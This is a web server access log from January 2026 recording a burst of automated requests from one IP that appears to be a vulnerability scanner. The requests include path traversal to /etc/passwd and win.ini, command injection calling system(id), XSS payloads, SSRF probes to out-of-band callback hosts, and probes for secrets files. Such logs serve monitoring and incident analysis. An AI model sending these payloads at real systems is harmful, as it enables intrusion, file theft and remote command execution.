[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ucwa/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ocpu/library/base/R/do.call/json HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ocsp/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adfs/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/servlet/mstrWeb/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.enterprise.integrations/office365/checkSubscriptions HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/4 HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup.php HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dialin/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/index/install HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.live HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/database/selector/ HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /interface/login/login.php?site=default HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nagios3/status.cgi HTTP/1.1" 199
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://192.168.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /op/wrongfiletype.htm HTTP/1.1" 196
[09/Jan/2026:10:52:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/css//../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%00 HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rpc.php HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/system/assets/js/framework.combined-min.js HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /boaform/admin/formTracert HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver) HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opensis/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /info HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /exchange/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opennms/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certsrv/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loyalty_enu/start.swe/%3E%22%3E%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /atg/bcc HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/status?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/folder.do HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www/admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/jtfwrepo.xml HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /installer/installerUI.php HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user_secrets.yml HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://192.168.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oam/pages/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /stats?json HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /install/install.php?step=4 HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?m=login&a=attemptLogin HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scheduler/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.enterprise.integrations/office365/inputs HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/push.yml HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?route=account/login HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_nuxt/@fs/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/servlet/mstrWeb HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?src=connect HTTP/1.1" 3426
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mylittlebackup/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iNotes/Forms85.nsf HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://somethingelsethatdoesnotexist/ HTTP/1.1" 226
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /em/console/logon/logon HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /otobo/index.pl HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /errors.txt HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.backup HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /clusters HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphiql.css HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///../app.js HTTP/1.1" 226
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sites/web_vhost_domain_list.php HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ovirt-engine/webadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /controller/registry-clients HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opencats/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /reports/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //XUI HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owncloud/config/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dbaas_monitor/login HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /saw.dll?bieehome&startPage=1 HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authenticationform/login HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /page/exportImport/fileTransfer/poc.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/jtfLOVInProcess.jsp%3FAAA%3DAAAAAAAAAA%27%22%3E%3Csvg%2Fonload%3Dalert('380Cy7tYHs9FpA0aj6M4MzjyGql')%3E HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iPages/i_login.asp HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/5 HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc....4.2.1....json HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/printenv HTTP/1.1" 199
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /welcome_webcenter.html HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /meeting/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/career/getSurvey.jsp?fn=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_LOGIN_SERVER_ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webticket/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oamfed/idp/soap HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autoupdate/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/java.lang:type=Memory HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jbpm-console/app/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Login HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /horizon/auth/login/?next=/horizon/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://d5g6sfahausljekepl20hkj1j3mxsas7p.oast.site HTTP/1.1" 226
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /opennms/j_spring_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //pwnd.html HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ocsreports HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /exchweb/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test-cgi HTTP/1.1" 199
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /otobo/index.pl?Action=ExternalURLJump;URL=http://www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pub/bscw.cgi/30?op=theme&style_name=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certenroll/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload/setup/install.php HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rgsclients/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/info HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certprov/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://somethingthatdoesnotexist/ HTTP/1.1" 226
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /powershell/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Setup/index.php/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php-opcache-status/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/bin/sqlnet.log HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nextcloud/login HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/main HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pacsone/nocache.php?path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2f.%2fzpx%2f..%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/userverify.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(id) HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/AppsLogin HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mydb.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /atg/user/html/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user_secrets.yml.old HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/sysconf?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/cam_portal.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/login.htm HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://192.168.0.1:22/ HTTP/1.1" 226
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/userverify.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.json HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rpcwithcert/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/userverify.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OperaLogin/Welcome.do HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/includes/configure.php HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opensis/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/lint.yml HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pandora_console/mobile/ HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iNotes/Forms9.nsf HTTP/1.1" 196
[09/Jan/2026:10:52:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pagespeed-global-admin/ HTTP/1.1" 196
